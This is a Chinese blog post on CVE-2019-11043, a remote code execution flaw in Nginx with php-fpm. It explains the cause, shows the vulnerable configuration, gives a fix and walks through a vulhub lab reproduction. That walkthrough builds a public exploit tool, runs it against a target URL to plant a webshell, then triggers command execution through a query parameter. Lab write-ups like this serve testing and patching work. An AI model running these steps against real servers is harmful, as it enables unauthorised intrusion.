CVE-2019-11043-Nginx PHP 远程代码执行

漏洞原因

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。

Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。

 location ~ [^/]\.php(/|$) {

    fastcgi_split_path_info ^(.+?\.php)(/.*)$;

    fastcgi_param PATH_INFO       $fastcgi_path_info;

    fastcgi_pass   php:9000;

    ...
}

修复建议

1.在不影响正常业务的情况下,删除Nginx配置文件中如下配置:

fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

 

前提条件

1.Nginx + php-fpm 的服务器

2.以下复现得poc仅用于php7,php5.3另外有poc才生效

 

环境搭建

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

启动环境后,您可以在看到默认页面http://your-ip:8080/index.php

POC是go语言编译,需要此工具来重现该漏洞  https://github.com/neex/phuip-fpizdam

复现参考
 
1.下载工具

git clone https://github.com/neex/phuip-fpizdam.git

cd phuip-fpizdam

go build  #编译

要有go环境,没有go环境的话使用下面命令安装go环境

apt-get install golang -y

2.编译好后,文件内出现phuip-fpizdam可执行文件

我这里环境编译有问题,所以以下的标准复现过程

3. 使用可执行文件 +目标 会生成webshell

./phuip-fpizdam http://目标ip:8080/index.php    (可能会需要多执行几遍命令)

 

一个Webshel​​l是在PHP-FPM的后台编写的,请访问http://your-ip:8080/index.php?a=id以触​​发RCE

posted @ 2020-04-20 21:40  Null1433  阅读(501)  评论(0编辑  收藏  举报